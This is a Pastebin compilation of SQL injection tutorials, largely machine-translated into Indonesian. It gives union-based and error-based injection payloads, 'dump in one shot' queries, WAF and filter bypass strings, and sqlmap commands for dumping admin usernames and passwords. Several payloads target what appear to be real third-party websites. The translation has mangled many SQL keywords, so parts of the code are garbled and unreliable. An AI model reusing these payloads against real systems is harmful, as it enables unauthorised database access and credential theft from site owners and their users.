Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Bagaimana menemukan Kolom yang Rentan? 25 25 25
- ANS: -
- Teknik 1: -
- gunakan -> id = -1 union pilih 1,2,3,4,5--
- use -> id = 1111/9999 / null / bybysql union pilih 1,2,3,4,5--
- use -> id = .1 / 1.2 / 12.4 union pilih 1,2,3,4,5--
- Catatan: - Saya menggunakan null dan bybysql. Tidak bingung dengan mereka, kamu bisa menggunakan watever u like means menggunakan data yang tidak ada [Thanks to Hack Forum]
- Teknik ke-2: - Parameter Salah
- Di sini Parameter Salah berarti meletakkan sesuatu yang membuat respons yang salah ke dalam PARAMETER SQL kami
- (a) 1 = 2, 1 = 0
- use -> id = 1 atau 1 = 2 union pilih 1,2,3,4,5--
- use -> id = 1 atau 1 = 0 union pilih 1,2,3,4,5--
- (B) Juga dapat kita gunakan memiliki, seperti, <>
- gunakan -> id = 1 memiliki / HAVING 1 = 2 union pilih 1,2,3,4,5--
- gunakan -> id = 1 1 suka / LIKE 2 union pilih 1,2,3,4,5--
- use -> id = 1 1 <> 1 union pilih 1,2,3,4,5--
- use -> id = 1 {having / and} 1 like 2 union pilih 1,2,3,4,5--
- use -> id = 1 {having / and} 1 <> 1 union pilih 1,2,3,4,5-- / * gunakan apakah memiliki atau dan
- Juga Anda dapat menggunakan dan pernyataan palsu / DAN SALAH
- gunakan -> id = 1 dan false union pilih 1,2,3,4,5--
- Teknik ke-3: - Bagi dengan 0 berarti -> / 0 dan + div + 0
- use -> id = 12/0 union pilih 1,2,3,4,5--
- gunakan -> id = 12 + div + 0 + union pilih 1,2,3,4,5--
- Teknik ke-4: - Perhatikan dengan seksama, atau gores kode sumber HTML
- Jumlahnya dapat ditampilkan di mana saja, ketika agak kasar, cukup ubah kueri untuk membuat semuanya lebih terlihat seperti sesuatu
- http://somesite.net/b.php?id=12/0 union pilih 1111,2222,3333,4444,5555--
- Di atas kita menggunakan 1111, 2222 bukannya 1,2 masing-masing
- Setelah menulis kode kode sumber terbuka, cari 'Nomor Kolom' seperti 1111,2222,3333,4444,5555 dengan menggunakan (CTRL + F: - Untuk menemukan sesuatu dalam kode sumber) Kemudian periksa di mana nomor dat muncul dalam kode sumber
- Terkadang nomor ditampilkan pada judul halaman.
- Ketika Anda mendapatkan kolom yang rentan maka Anda ingin menampilkan versi, pengguna, basis data atau beberapa bagian html untuk dapat dilihat di halaman. Jadi, 4 langkah. Ikuti Langkah-langkah ini: -
- i.) id = -1 union pilih 1111,2222, concat (0x223e, @@ version, 0x3c696d67207372633d22), 4444--
- Dimana
- 223e => ">
- 3c696d67207372633d22 => <img src = "
- * Ingat kita menggunakan 0x sehingga dat diatas kode hex berfungsi
- ii.) 4 cetak nama kami
- id = -1 union pilih 1111,2222, concat (0x5c223e3c666f6e7420636f6c6f72203d207265642073697a653d343e41414b4153483c2f666f6e743e3c212d2d), 4444--
- Dimana
- 0x5c223e3c666f6e7420636f6c6f72203d207265642073697a653d343e41414b4153483c2f666f6e743e3c212d2d => \ "> <font color = red size = 4> AAKASH </ font> <! -
- Teknik ke-5: -
- U mencoba semua teknik di atas tetapi stille tidak bisa mendapatkan kolom rentan maka u juga dapat menggunakan teknik kelima ini .... Wats baru dalam teknik ini Lihat: -
- Anda dapat menggunakan serikat pilih 1,2,3,4,5-- sebagai serikat (pilih 1,2,3,4,5) -
- gunakan: - id = -2 union (pilih 1,2,3,4,5) -
- / * Jika Anda melihat vul col seperti 3 kemudian
- gunakan: - id = -2 union (pilih 1,2,333 (4 cek) / @@ versi, 4,5) -
- Teknik 6: - Parameter Benar
- gunakan -> id = 1 + di mana + 1 = 1 union pilih 1,2,3,4,5--
- use -> id = 1 + dan + 50 = 50 union pilih 1,2,3,4,5--
- use -> id = 1 = 75 = 75 union pilih 1,2,3,4,5--
- Teknik 7: - Brute memaksa kolom / * Terima kasih kepada Master saya Devilhunter Dante
- Frnds ketika Anda tidak dapat menemukan jumlah kolom maka Anda juga dapat menggunakan teknik ini. Dengan teknik ini tidak hanya Anda menemukan sejumlah kolom, Anda juga mendapatkan kolom yang rentan.
- Ikuti langkah-langkah berikut
- 1st do -> union pilih 1--
- 2nd do -> union pilih 1,2--
- 3rd do -> union pilih 1,2,3--
- 4th do -> union slect 1,2,3,4--
- 5th do -> union pilih 1,2,3,4,5--
- © AKDK
- ~ h
- Error Based Dump In One Shot (DIOS) - Oleh Ph.h4rh4r
- Kami Telah Mendiskusikan di Tutorial Kami Sebelumnya Tentang Injeksi SQL Berbasis Kesalahan.
- Dalam Tutorial Ini Anda Akan Mempelajari Cara Membangun Error Based Dump In Shot (DIOS).
- Seperti yang Kita Ketahui Bahwa dalam Error Based Query, Kami Memberikan Perintah Kami Ke server dan Memberikan Kami menghasilkan kesalahan.
- Jika Kami Ingin Mendapatkan versi () maka kami Berikan Permintaan Seperti ini.
- http://www.FakeSite.com/news.php?id=11 atau 1 grup oleh concat_ws (0x3a, versi (), lantai (rand (0) * 2)) memiliki min (0) atau 1-- -
- kami mendapatkan versi tercetak di halaman. versi = 5.5.42-cll
- Sekarang Mari kita dapatkan nama Database Primer.
- http://www.FakeSite.com/news.php?id=11 dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (database () sebagai char), 0x7e)) dari information_schema.tables di mana table_schema = database () limit 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) - -
- dan Ini Database Primer kami.
- ini nama Database Primer "kkbaketo_wordpress" jadi ini adalah nama Database Primer kami. jika kita ingin mendapatkan yang lain kita biasanya Meningkatkan LIMIT 0,1 hingga LIMIT 1,1
- Tetapi kita juga bisa mendapatkan semua Database tanpa menggunakan LIMIT.
- Inilah SYNTAX untuk Mendapatkan Semua Database.
- (SELECT! X- ~ 0.FROM (SELECT (concat (0x3a3a3a, (pilih group_concat (schema_name) dari information_schema.schemata))) x) a)
- Sekarang Tambahkan SYNTAX ini untuk Dapatkan semua Databasis.
- http://www.FakeSite.com/news.php?id=(SELECT!x-~0.FROM(SELECT(concat(0x3a3a3a,(select group_concat (schema_name) dari information_schema.schemata))) x) a) - - -
- dan ini Database kami.
- information_schema, kkbaketo_wordpress
- Langkah selanjutnya adalah Dapatkan The Tables.
- Inilah contohnya.
- http://www.FakeSite.com/news.php?id=11 atau 1 grup oleh concat_ws (0x7e, (pilih table_name dari information_schema.tables di mana table_schema = database () limit 0,1), floor (rand (0) * 2)) memiliki min (0) atau 1-- -
- dan kami Dapatkan Nama tabel di bawah Respons kesalahan ::
- Kami Hanya MENDAPATKAN satu Nama TABEL. kkbaketop_category
- Ini adalah nama Tabel Pertama Kami. Kita Dapat Mendapat Satu Selanjutnya dan Yang Lain dengan Meningkatkan Nilai LIMIT 0,1 hingga LIMIT 2,1 LIMIT 3,1
- Kami Meningkatkan BATAS untuk Tabel.
- LIMIT 0,1 untuk tabel 1.
- LIMIT 1,1 untuk tabel ke-2.
- Seperti yang Kita Ketahui bahwa kita Dapat DUMP Semua Tabel dan Kolom Dalam injeksi BERBASIS UNION.
- dalam ERROR BASED Dump dalam satu Shot (DIOS) kita tidak dapat Dump All Tables / Columns seperti UNION BASED Injection.
- Tapi Kita Bisa Dapatkan Beberapa Tabel / Kolom dari Basis Data dengan MEMBANGUN Kueri kami.
- Berikut ini adalah SYNTAX Kami untuk Tabel.
- (pilih group_concat (table_name) dari information_schema.tables di mana table_schema = database ())
- Sekarang tambahkan SYNTAX ini di DIOS Query kami.
- (SELECT! X- ~ 0 ./*! 50000FROM * / (/ *! 50000SELECT * / (/ *! 50000concat_ws * / (0x3a3a3a, (pilih group_concat (table_name) dari information_schema.tables di mana table_schema = database ()))) x) a)
- DIOS Query kami Siap untuk Tabel.
- http://www.FakeSite.com/news.php?id=(SELECT!x-~0./*!50000FROM*/(/*!50000SELECT*/(/*!50000concat_ws*/(0x3a3a3a,(select group_concat (table_name) dari information_schema.tables di mana table_schema = database ()))) x) a) - -
- Ini Meja Kami.
- kkbaketop_admin, kkbaketop_category, kkbaketop_content, kkbaketop_contentOld, kkbaketop_meta, kkbaketop_navigation, kkbaketop_product
- Kami Juga dapat HTML TAG untuk menampilkan Semua Tabel di Saluran Baru.
- HTML TAG = <BR>
- kita bisa menggunakannya dengan mengkodekannya di HEX Value atau Menempatkan Single Quote Sebelum dan Sesudah TAG HTML.
- HEX Value = 3c42523e kita harus menggunakan 0x sebelum Nilai HEX untuk Menggunakan TAG HTML.
- HEX Value = 0x3c42523e
- Menempatkan Kutipan Tunggal = '<BR>'
- PUT TAG HTML Sebelum Table_name.
- Hmmm sekarang Memungkinkan Tambahkan Tag ini ke Error Based DIOS Query kami dan jalankan.
- http://www.FakeSite.com/news.php?id=(SELECT!x-~0./*!50000FROM*/(/*!50000SELECT*/(/*!50000concat_ws*/(0x3a3a3a,(select group_concat ('<BR>', table_name) dari information_schema.tables di mana table_schema = database ()))) x) a) - -
- Sekarang Semua Tabel berada dalam garis BARU.
- Langkah Berikutnya adalah Kita Harus Mendapatkan Kolom.
- Ini adalah SYNTAX untuk Kolom.
- (pilih group_concat (3c42523e, table_name, 0x3a, column_name) dari information_schema.columns di mana table_schema = database ())
- Tambahkan SYNTAX ini di DIOS Query dan Execute it untuk Mendapatkan Kolom dari Setiap Tabel.
- Dan berikut adalah DIOS FINAL Pertanyaan untuk Tabel dan Kolom Berbasis Kesalahan dalam satu SHOT.
- http://www.FakeSite.com/news.php?id=(SELECT!x-~0./*!50000FROM*/(/*!50000SELECT*/(/*!50000concat_ws*/(0x3a3a3a,(select group_concat ('<BR>', table_name, 0x3a, column_name) dari information_schema.columns di mana table_schema = database ()))) x) a) - -
- ©
- ~ Ph.h4rh4r
- Error Based Injection -Tutorial (Ph.h4rh4r)
- Setelah Union Based Injection Dalam Tutorial ini Anda Akan Mempelajari Error Based SQL Injection.
- Bagaimana Anda Akan Memahami Bahwa WebSite Target kami dalam Injeksi Berbasis Kesalahan. ??
- Hmm Sementara kita adalah Situs Suntik, Dan Hitung Jumlah Total Kolom dan Kemudian Bangun Query SQL Berbasis Serikat.
- Kami mendapat 6 Jumlah Kolom. dan UNION BASED Query kami.
- http://www.target.com/index.php?id=-1 Union Select 1,2,3,4,5,6-- -
- Ketika kami Melaksanakan Query Berbasis Persatuan kami tidak memberikan kami Nomor Kolom yang Rentan yang Dicetak di Halaman Web atau dalam HTML.
- Ini Memberi Kita Pesan Kesalahan.
- Pernyataan SELECT yang digunakan memiliki jumlah kolom yang berbeda
- Kadang-kadang Situs TARGET tidak Memberikan Nomor Kolom yang Rentan dan Juga Tidak Ada Jenis Kesalahan. Situs-situs tersebut juga error SQL / Double Query SQL injection.
- Jadi Kami Diolah Selanjutnya Dengan Error Based Queries.
- Langkah pertama adalah Untuk Mendapatkan Versi.
- Berikut adalah Query Berdasarkan Kesalahan Untuk Dapatkan Versi.
- http://www.target.com/index.php?id=1 atau 1 grup oleh concat_ws (0x3a, versi (), lantai (rand (0) * 2)) memiliki min (0) atau 1-- -
- dan kami Akan Mendapatkan Versi Dicetak di WebPage.
- Langkah kedua adalah Untuk Mendapatkan Nama Database.
- Sekarang Mari Periksa Nama Database Saat Ini.
- Situs Web Dapat Memiliki Lebih dari 2, 3, atau 5 Basis Data. Jadi Kami Gunakan BATAS untuk mendapatkan semua Database.
- LIMIT 0,1 LIMIT 1,1 LIMIT 2,1 LIMIT 3,1
- Inilah Pertanyaan Kami Untuk Mendapatkan Basis Data.
- http://www.target.com/index.php?id=1 dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (database () sebagai char), 0x7e)) dari information_schema.tables di mana table_schema = database () limit 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) - -
- Langkah ketiga adalah untuk mendapatkan tabel.
- Sekarang Kita Harus Mendapat Tabel. Seperti Kami Ingin Tabel Dari Database Primer.
- Berikut Ini Query Untuk Tabel Dari Database Primer.
- http://www.target.com/index.php?id=1 dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (table_name sebagai char), 0x7e)) dari information_schema. tabel di mana table_schema = database () limit 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) - -
- Tingkatkan Nilai Batas sebagai LIMIT 0,1 hingga LIMIT 1,1 LIMIT 2,1 LIMIT 3,1
- Sampai Anda Mendapatkan Nama Tabel yang Diinginkan Anda.
- Langkah ke 4 adalah Mendapatkan Nama Kolom Dari Nama Tabel Bertarget Kami.
- Sekarang Kita Harus Mendapatkan Nama Kolom Dari Nama Tabel.
- Kami Mendapat Tabel Of Admin.
- Jadi Mari Dapatkan Kolom Dari Admin Tabel.
- Berikut Ini Query Untuk Mendapatkan Nama Kolom Dari Tabel Admin.
- http://www.target.com/index.php?id=1 dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (column_name sebagai char), 0x7e)) dari information_schema. kolom di mana table_name = 0xADMIN membatasi 0,1), lantai (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) - -
- Untuk Mendapatkan Kolom Dari Tabel Admin kita Harus Mengkodekannya Di HEX dan Kemudian Kita Dapat Melaksanakan Permintaan Kita.
- Inilah BAGIAN dalam Pertanyaan Kita.
- Table_name = ADMIN
- Inilah Nilai HEX dari ADMIN = 61646d696e
- Dan Letakkan Dengan 0x untuk Membuat Kueri yang Benar.
- Table_name = 0x61646d696e
- Dan Inilah Kueri.
- http://www.target.com/index.php?id=1 dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (column_name sebagai char), 0x7e)) dari information_schema. kolom di mana table_name = 0x61646d696e limit 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) - -
- Tingkatkan Nilai BATAS menjadi BATAS 0,1 LIMIT 1,1 LIMIT 2,1
- sampai kita Dapatkan Nama Kolom Seperti Nama Pengguna dan Kata Sandi.
- 5Th Step Is to Extracting Data From Columns.
- Setelah Kami Dapatkan Nama Kolom Seperti Nama Pengguna Dan Kata Sandi.
- Langkah Berikutnya Adalah Mengeluarkan Data Dari Kolom Ini.
- Berikut ini adalah Query Untuk Mengekstrak Data dari Kolom.
- http://www.target.com/index.php?id=1 dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (concat (COLUMN_NAME_1,0x3a, COLUMN_NAME_2) sebagai char) , 0x3a)) dari batas TABLENAME 0,1), lantai (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) - -
- KAMI Letakkan TABLENAME = Admin
- Dan
- Column_name_1 = nama pengguna
- Column_name_2 = kata sandi
- Jadi, inilah Query FINAL.
- http://www.target.com/index.php?id=1 dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (concat (nama pengguna, 0x3a, kata sandi) sebagai char) , 0x3a)) dari batas admin 0,1), lantai (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) - -
- Dan Kami Dapatkan Nama Pengguna dan Kata Sandi ADMIN yang tercetak di Halaman.
- ~ Ph.h4rh4r
- Amir Hossan Rahel
- http://www.realinstruments.ca/gallery.php?id=7 /*!50000union*/ /*!50000select*/ 1,2,3,4,5,6,7--+
- hello sir how I can bypass 'union select' please help me or post it your page thank you
- Real Instruments - Photo Gallery - 161 Maypoint Rd, Charlottetown, PEI
- realinstruments.ca
- 1 · Suka · Tanggapi · Balas · Laporkan · 23 Jan
- SQLI Tutorial - Beginners
- http://www.realinstruments.ca/gallery.php?id=.7 unUNIONion seSELECTlect 11111111,2,3,4,5,6,7-- -
- Real Instruments - Photo Gallery - 161 Maypoint Rd, Charlottetown, PEI
- realinstruments.ca
- Suka · Tanggapi · Balas · Laporkan · 23 Jan
- SQLI Tutorial - Beginners
- SQLI Tutorial - Beginners
- No problem
- SQLI Tutor... membalas · Lihat semua 2 balasan
- Modsecurity WAF Bypass vectors
- --new version--
- id=@:=(-- a %0a select 123 from {f table})|0.1union-- a %0a select+1,@,3
- id=@:=(-- a %0a select 123 from {f table})*.9union/*!%0aselect 1,@,3*/
- id=@:=(%23 a %0a select 123 from {f table})-\Nunion%23 a %0a select+1,@,3
- id=@:=(%23 a %0a select 123 from ((table)))/1e0union%23 a %0a select+1,@,3
- id=@:=(%23 a %0a select 123 from ((table)))/1e0union%a0(select 1,@,3)
- --old version--
- id=1-.0union distinctrow select 1,2,3 from {f table}
- id=-1 /*!50000union*/ select 1,2,.3from table
- id=-1e0union distinct select 1,2,3e0from table
- id=\Nunion (select 1,2,\Nfrom table)
- id=.1union distinct select sql_cache 1,2,3 from table
- -h
- mysql injection concat() replacements
- select export_set(1,version(),user(),' : ',2);
- 5.1.7 : my_user
- select export_set(1,version(),export_set(1,user(),schema(),' : ',2),' : ',2);
- 5.1.7 : my_user : my_db
- select make_set(7,version(),user(),schema());
- 5.1.7,my_user,my_db
- select replace(make_set(7,version(),user(),schema()),',',' : ');
- 5.1.7 : my_user : my_db
- select insert(insert(version(),length(version())--1,0,user()) ,length(version())--1,0,' : ');
- 5.1.7 : my_user
- select insert(insert(schema(),length(schema())--1,0,insert(insert(version(),length(version())--1,0,user()) ,length(version())--1,0,' : ')),length(schema())--1,0,' : ');
- 5.1.7 : my_user : my_db
- select replace(replace(replace('!?$','!',version()),'?',' : '),'$',user());
- 5.1.7 : my_user
- select replace(replace(replace(replace('!?$?^','!',version()),'?',' : '),'$',user()),'^',schema());
- 5.1.7 : my_user : my_db
- select lpad(lpad(user(),@x:=length(user())--3,' : '),@x--length(version()),version())
- 5.1.7 : my_user
- select lpad(lpad(lpad(lpad(schema(),@x:=length(schema())--3,' : '),@x--length(user()),user()),@x--length(user())--3,' : '),@x--length(user())--3--length(version()),version());
- 5.1.7 : my_user : my_db
- select rpad(rpad(version(),@x:=length(version())--3,' : '),@x--length(user()),user());
- 5.1.7 : my_user
- select rpad(rpad(rpad(rpad(version(),@x:=length(version())--3,' : '),@x--length(user()),user()),@x--length(user())--3,' : '),@x--length(user())--3--length(schema()),schema());
- 5.1.7 : my_user : my_db
- group_concat() without comma-
- select (select group_concat(a separator ' : ') from (select version()a union select user() union select schema())x);
- 5.1.7 : my_user : my_db
- concat() waf bypass-
- /*!50000group_coNcat(*/)
- /*!50000coNcat(*/)
- `coNcat`%0a%0b%0c%0d%a0()
- {snoopdogg concat()}
- {s {n {o {o {p {d {o {g {g`coNcat`()}}}}}}}}}
- {s {n {o {o {p {d {o {g {g`coNcat`/*!50000(*/)}}}}}}}}}
- {s {n {o {o {p {d {o {g {g`coNcat`/*!50000 /*! /*!40000 /*! /*!(*/((((1 %23aaa%0a )))))}}}}}}}}}
- concat-- a%0a()
- concat%23aaaaaaaaaa..........%0a(%23aaaaaaa.........%0a)
- concat/**x**/()
- waf bypass with %75nion %73elect
- redirect = bypass with And 1<1 or add @ befor variable number like =@64' or =@'
- there redirect with dot in =.64' bypass by add @ like =@64' and 0 union select
- ~h
- Multi-Query-Injection
- id=1-- -' our query-- -
- id=1%23' our query -- -
- id=1 union select null,null,null-- -' our query %23
- =1 ;%00 ' and 0 union select 1 ;%00!
- =1 -- - ' and 0 union select 1 -- -%
- =1 -- - ' or 1 union select 1,2 limit 2 -- -
- -----------------------------------------------------------
- Other Method
- =1' in boolean mode) UNION SELECT 1,2-- -
- =1' group by 1 union select 1,2-- -
- =1' procedure analyse() union select 1,2-- -
- =1) having 1=0 union select '11111' from dual -- - Where 0 %23
- =1 union select 1 LIMIT 0,1-- -
- '=0=column union select version() limit 1-- -
- ~h
- Error based basic Tidak terlalu detail
- Cara pertama =====>
- + DAN (SELECT COUNT (*) FROM (SELECT 1 UNION SELECT null UNION SELECT! 1) x GROUP oleh CONCAT ((versi SELECT () FROM information_schema.tables LIMIT 0,1), FLOOR (RAND (0) * 2)) )
- Cara kedua ====> packerss.in/review.php?id=260+and+(select+1+from+(select+count(*)+from+(select+1+union+select+2+union+select+ 3) x + grup + oleh + concat (mid ((pilih + concat_ws (0x7e, versi (), 0x7e) + dari + information_schema.tables + limit + 0,1), 1,25), floor (rand (0) * 2))) a) -
- ===>
- Database ===> packerss.in/review.php?id=260%20+and+(select+1+from+(select+count(*)+from+(select+1+union+select+2+union+select+ 3) x + grup + oleh + concat (mid ((pilih + concat_ws (0x7e, group_concat (schema_name), 0x7e) + dari + information_schema.schemata% 20limit + 0,1), 1,25), floor (rand (0 ) * 2))) a) -
- ==> Masukan 'informasi' duplikat
- skema, packer1 'untuk kunci' grup_
- kunci'
- tabel ===>
- packerss.in/review.php?id=260%20+and+(select+1+from+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group + dengan + concat (mid ((pilih + concat_ws (0x7e, group_concat (table_name), 0x7e) + dari + information_schema.tables% 20where% 20table_schema = database ()% 20limit + 0,1), 1,25), lantai ( rand (0) * 2))) a) -
- ===> Masukan duplikat 'tambah, admin, astro_
- ques, astr1 'untuk kunci' group_key '
- packerss.in/review.php?id=260+and+(select+1+from+(select+count(*)+from+(select+1+union+select+2union+select+3)x+group+by + concat (mid ((pilih + concat_ws (0x7e, group_concat (table_name), 0x7e) + dari + information_schema.tables% 20where% 20table_schema = database ()% 20limit + 0,1), 58,25), lantai (rand ( 0) * 2))) a) -
- ===> Entri duplikat
- 'Laints, acara, mengundang, bergabung, 1' untuk kunci
- 'group_key'
- + dan + (pilih + 1 + dari + (pilih + count (*) + dari + (pilih + 1 + union + pilih + 2 + union + pilih + 3) x + grup + dengan + concat (mid ((pilih + concat_ws (0x7e, group_concat (column_name), 0x7e) + f rom + information_schema.columns di mana table_name = 0xHex_Table limit + 0,1), 1,25), floor (rand (0) * 2))) a) - x
- + dan + (pilih + 1 + dari + (pilih + count (*) + dari + (pilih + 1 + union + pilih + 2 + union + pilih + 3) x + grup + dengan + concat (mid ((pilih + concat_ws (0x7e, group_concat (nama pengguna, 0x3a, passwo rd), 0x7e) + dari + pengguna limit + 0,1), 1,25), lantai (rand (0) * 2))) a) -
- -h
- Hi everyone,Today I'll show you a SQLI TIP,
- get large data with one request using substr function. use 'limit' is slow,
- so im gonna teach you how to bypass the error 1242,"'subquery
- returns more than 1 row'".
- I) Using substr function
- ==
- the subtr function is usually for blind
- injection,but we can use this for bypass the limit
- of group_concat and the error 1242.
- for example,
- Code:
- http://www.lermitagehotel.ee/?
- pageid=160 +and+(select+1+from
- +(select+count(*),concat((select
- (select+concat(concat(user_na
- me,0x3a,user_pass),0x7e))+from
- +users+limit+0,1),floor(rand
- (0)*2))x+from+informat
- ion_schema.tables+group+by+x)a)
- error 1242-
- Subquery returns more than 1 row.
- we can use substr like that
- Code:
- And(select 1 from(select count
- (*),concat(0x3a,(select substr
- (group_concat(column1,0x3a,column2),1,150)from table where table_schema like database()),0x3a,floor(rand(0)*2))xfrom information_schema.tables group by x)z)-- -
- so
- Code:
- http://www.lermitagehotel.ee/?
- pageid=160 And(select 1 from
- (select count(*),concat(0x3a,
- (select substr(group_concat
- (table_name),1,150)from
- information_schema.tables where
- table_schema like database
- ()),0x3a,floor(rand(0)*2))x from
- information_schema.tables group
- by x)z)-- -
- and
- Quote: Duplicate entry
- ':admin_topmenu,album_photos,albums,
- defaults,form_items,form_log,' for key
- 'group_key'
- Incre substr(group_concat(table_name),1,150) ...
- substr(group_concat(table_name),30,150)... to
- get next
- --
- in mysql>5
- Code:
- or 1 group by concat_ws(0x3a,
- (select substr(group_concat
- (column),1,150)
- from table),floor(rand(0)*2))
- having min(0) or 1-- -
- --
- in mysql 5.1+
- Code:
- and updatexml(0,concat(0x3a,
- (select substr(group_concat
- (column),1,150)
- from table)),0)-- -
- --
- notice: sometimes query number 2 dosent
- work,so use the first one.
- Code:
- II) Using concat() and group_concat
- ()
- ==
- Code:
- and updatexml(0,concat(0x3a,
- (select concat(0x3a,group_concat
- (column))
- from table)),0)-- -
- only for extractvalue() / updatexml().
- enjoy
- ~h
- HACK WEBSITE MENGGUNAKAN SQLMAP SQL INJECTION TOOLS FULL TUTORIAL
- bagaimana cara menggunakan sqlmap pada metode GET
- - fingerprinting
- pertama Anda harus memiliki situs web yang rentan untuk target, jika Anda memiliki target sekarang buka sqlmap dan ketik perintah ini
- ./sqlmap.py -u "http://www.target.com/index.php?id=2"
- sqlmap akan mendeteksi rentan dari target Anda dan akan memberi tahu Anda apa jenis rentan dan apa tipe database. dan jika target Anda rentan, lanjutkan ke langkah berikutnya.
- - temukan nama database
- ketik perintah ini untuk mencari nama database
- ./sqlmap.py -u "http://www.target.com/index.php?id=2" --dbs
- pada langkah ini, sqlmap akan menemukan nama database target Anda, misalnya saya menggunakan "web_db" untuk nama database.
- - temukan nama tabel
- Setelah sqlmap menemukan nama databse waktunya untuk menemukan nama tabel. gunakan perintah ini untuk menemukan nama tabel
- ./sqlmap.py -u "http://www.target.com/index.php?id=2" -D web_db --table
- di sana akan menunjukkan kepada Anda beberapa nama tabel di dalam database "web_db", ok misalnya saya menggunakan "tbl_admin" sebagai nama tabel.
- - temukan nama kolom
- waktunya untuk menemukan apa yang ada di dalam "tbl_admin" dari "web_db" dan kami menyebutnya kolom. untuk menemukan kolom ketik perintah ini
- ./sqlmap.py -u "http://www.target.com/index.php?id=2" -D web_db -T tbl_admin --columns
- ini akan menunjukkan daftar nama kolom, misalnya saya menemukan kolom "pengguna" dan "kata sandi".
- - buang
- perintah ini akan membuang data dari kolom, ketik perintah ini
- ./sqlmap.py -u "http://www.target.com/index.php?id=2" -D web_db -T tbl_admin -C pengguna, kata sandi --dump
- dan saya menemukan "user = admin" dan "password = adminpass". sekarang buka web dan temukan admin login.
- bagaimana cara menggunakan sqlmap pada metode POST
- caranya sama dengan metode GET, hanya saja Anda harus memasukkan data POST ke sqlmap. misalnya saya memiliki situs yang rentan pada jalur "login.php". data POST adalah "id = admin & pwd = kata sandi & kirim = login". bagaimana cara menemukan data POST? cukup gunakan "Live HTTPheaders" yang merupakan add ons firefox.
- - fingerprinting
- caranya yang sama dengan metode GET, ketikkan saja perintah ini
- ./sqlmap.py -u "http://www.target.com/login.php" --data = "id = admin & pwd = kata sandi & kirim = login"
- - temukan nama database
- ./sqlmap.py -u "http://www.target.com/login.php" --data = "id = admin & pwd = kata sandi & kirim = masuk" --dbs
- - temukan nama tabel
- ./sqlmap.py -u "http://www.target.com/login.php" --data = "id = admin & pwd = kata sandi & kirim = masuk" -D web_db --table
- - temukan nama kolom
- ./sqlmap.py -u "http://www.target.com/login.php" --data = "id = admin & pwd = kata sandi & kirim = masuk" -D web_db -T tbl_admin - kolom
- - buang
- ./sqlmap.py -u "http://www.target.com/login.php" --data = "id = admin & pwd = kata sandi & kirim = login" -D web_db -T tbl_admin -C pengguna, kata sandi --dump
- termasuk cookie
- masih metode yang sama tetapi Anda hanya harus memasukkan cookie
- ./sqlmap.py -u "http://www.target.com/index.php?id=2" --cookie = "PHPSESSID = 123asdqwe456blabla; user = admin"
- atau
- ./sqlmap.py -u "http://www.target.com/login.php" --data = "id = admin & pwd = kata sandi & kirim = masuk" --cookie = "PHPSESSID = 123asdqwe456blabla; user = admin"
- parameter khusus
- jika Anda memiliki parameter khusus untuk menyuntikkan Anda dapat mengetik "-p" seperti perintah ini
- ./sqlmap.py -u "http://www.target.com/login.php" --data = "id = admin & pwd = kata sandi & kirim = masuk" --cookie = "PHPSESSID = 123asdqwe456blabla; user = admin" -p "pwd"
- sqlmap akan menyuntikkan parameter "pwd". atau Anda dapat memberi bintang "*" ke parameter untuk disuntikkan, seperti ini
- ./sqlmap.py -u "http://www.target.com/login.php" --data = "id = admin & pwd = * kata sandi & kirim = masuk" --cookie = "PHPSESSID = 123asdqwe456blabla; user = admin"
- penutup
- jika Anda pengguna windows, jangan gunakan "./" untuk menjalankannya pada cmd.
- Go To Download Software: http://sqlmap.org/
- when you try to access server with your SQL WAF will stop you again. You might have more luck if WAF controls only GET requests and you inject with POST...
- SQLi Waf Behaviours
- union select 1,2,3,4-- - [<---WAF
- /*!union*/ select 1,2,3,4-- - [<--- No WAF
- /*!union*/ select 1,group_concat(),3,4-- - [<--NO -WAF
- /*!union*/ select 1,group_concat(table_name),3,4-- - [<---WAF
- /*!union*/ select 1,group_concat(/*!table_name*/),3,4-- - [<--- No WAF
- /*!union*/ select 1,group_concat(/*!table_name*/),3,4 from -- - [<---No WAF
- /*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables-- - [<---No WAF
- /*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables where-- - [<---WAF
- /*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables /*!where*/-- - [<---No WAF
- /*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables /*!where*/ table_schema-- - [<---No WAF
- /*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables /*!where*/ table_schema=database()-- - [<---No WAF
- ~asero
- EXTRACTING USERNAME AND PASSWORD IN THE TABLE
- QUERY :
- (select (@x) from (select (@x:=0x00), (select (@x) from users where (@x) in (@x:=concat(@x,'<br>',username,' : ',password))))x)
- Here are the three methods which i know and mostly use to bypass [,] COMMA
- 1) union select 1/*!,*/ 2/*!,*/3
- 2) union select 1,CHAR(44), 2,CHAR(44),3,char(44)
- 3)(select 1)a join (select 2)b join (select 3)c
- hOpe if you have concept of sql injection i don't think i have to give eXample
- But also leaving here one eXample
- www.vuln.com/events.php?id=-1 union select 1,2,3===>blockEd..
- now use
- Union select 1,CHAR(44), 2,CHAR(44),3,char(44)--
- ~h
- Pengetahuan Sql Untuk pelajar :)
- -------------------------------------------------- ------
- ---> Apa itu Sql Injection
- -------------------------------------------------- -------
- Injeksi SQL adalah teknik di mana pengguna jahat dapat menyuntikkan perintah SQL ke dalam pernyataan SQL, melalui input halaman web.
- Perintah SQL yang disuntikkan dapat mengubah pernyataan SQL dan membahayakan keamanan aplikasi web. Dan Juga Hancurkan basis data colonthree Anda
- -------------------------------------------------- -------
